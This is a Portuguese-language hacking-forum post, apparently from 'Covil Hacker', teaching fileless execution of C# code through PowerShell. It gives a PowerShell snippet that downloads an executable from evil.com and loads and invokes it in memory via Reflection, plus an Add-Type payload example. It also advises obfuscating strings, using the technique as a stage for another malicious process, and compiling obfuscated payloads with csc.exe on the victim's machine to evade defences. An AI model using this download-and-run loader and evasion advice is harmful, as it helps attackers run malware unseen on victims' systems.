COVIL HACKER

, ! .


» COVIL HACKER » C/C++/C#/.NET/Java » Manual Execução em arquivo do Powershell do código C#


Manual Execução em arquivo do Powershell do código C#

1 2 2

1

Explicação
Primeiramente, precisamos entender a forma mais comum de carregar C#, através de um executável:

Buscar conteúdo executável e encapsular em uma matriz de bytes.
Carregue o conteúdo executável usando o método [System.Reflection.Assembly]::load().
Use o Reflection para executar nossa montagem carregada.
O código abaixo segue os seguintes passos:

$bytes = (Invoke-WebRequest "https://evil.com/evilexe.exe").Content
$loadedAssembly = [System.Reflection.Assembly]::Load($bytes)

# Create entrypoint object and call it.

$entry =
$loadedAssembly.GetType("NAMSPACE.CLASS_NAME").
   GetMethod('STATIC_METHOD_NAME', [Reflection.BindingFlags] 'Static, Public, NonPublic')

$entry.Invoke($null)

Cordas C#​
Em vez de compilar e baixar um executável, por que simplesmente não fornecemos uma string de várias linhas com nosso código C# desejado e carregamos assim:

Add-Type @" using System; public class Payload {   
    static void Execute() {
        while (true) {
            Console.WriteLine("1337");       
        }   
    }
} "@

$pl = New-Object Payload $pl.Execute()

Claro, certifique-se de ofuscar suas strings, a melhor maneira de usar esse método é como um estágio para outro processo malicioso. Você também pode compilar seu código na máquina da vítima para escapar da defesa.

CSC.EXE​

O C Sharp Compiler, também conhecido como CSC.EXE, é um utilitário de linha de comando para compilar projetos .NET em PE's. Youy pode invocar isso na máquina das vítimas depois de escrever seu código ofuscado em um arquivo temporário e compilar sua carga PE na máquina.

0

2


» COVIL HACKER » C/C++/C#/.NET/Java » Manual Execução em arquivo do Powershell do código C#


|